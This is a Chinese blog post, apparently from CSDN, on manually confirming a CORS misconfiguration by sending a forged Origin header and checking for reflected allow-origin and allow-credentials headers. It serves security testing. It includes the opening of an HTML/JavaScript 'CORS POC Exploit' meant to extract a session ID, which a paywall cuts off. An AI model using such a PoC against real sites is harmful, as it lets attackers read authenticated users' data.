一次CORS漏洞的手工验证

最新推荐文章于 2024-06-03 09:35:12 发布

Flutter&Python&Test

最新推荐文章于 2024-06-03 09:35:12 发布

阅读量5k

点赞数 3

分类专栏：安全文章标签：前端安全 javascript

本文链接：https://blog.csdn.net/midsummer411/article/details/122324738

版权

本文介绍了在进行安全扫描时发现CORS漏洞后如何手工验证，通过在API请求中添加特定headers来检查漏洞存在性。同时，文章提供了一个POC代码示例，警示了若攻击者利用此漏洞可能引发的危害，如数据泄露或IP误导。并以百度的安全设置为例，提出修复方法，包括无弹出框和隐藏的POC代码，以增强前端接口的安全性。

摘要由CSDN通过智能技术生成

给项目接口做安全扫描的时候,发现有个CORS漏洞:
在这里插入图片描述
但仅仅扫出来还不够,需要手工验证一下

手工验证方式

在正常的api请求处,headers加入"origin":"http://xx.xx.xx.xx", 如果接口正常返回了数据且headers里包含

access-control-allow-credentials : true
access-control-allow-origin : http://xx.xx.xx.xx

就说明这个接口确实存在CORS漏洞

poc代码

<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>

<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
　　var xhttp = new XMLHttpRequest();
　　xhttp.onreadystatechange = function() {
    console.log(xhttp.responseText);
　　　　if (this.readyState == 4 && this.status == 200) {

最低0.47元/天解锁文章

Flutter&Python&Test

关注

3
点赞
踩
9

收藏

觉得还不错? 一键收藏
0
评论
一次CORS漏洞的手工验证

给项目接口做安全扫描的时候,发现有个CORS漏洞:但仅仅扫出来还不够,需要手工验证一下手工验证方式在正常的api请求处,headers加入"origin":"http://xx.xx.xx.xx", 如果接口正常返回了数据且headers里包含access-control-allow-credentials : trueaccess-control-allow-origin : http://xx.xx.xx.xx就说明这个接口确实存在CORS漏洞poc代码<html>&
复制链接

扫一扫

专栏目录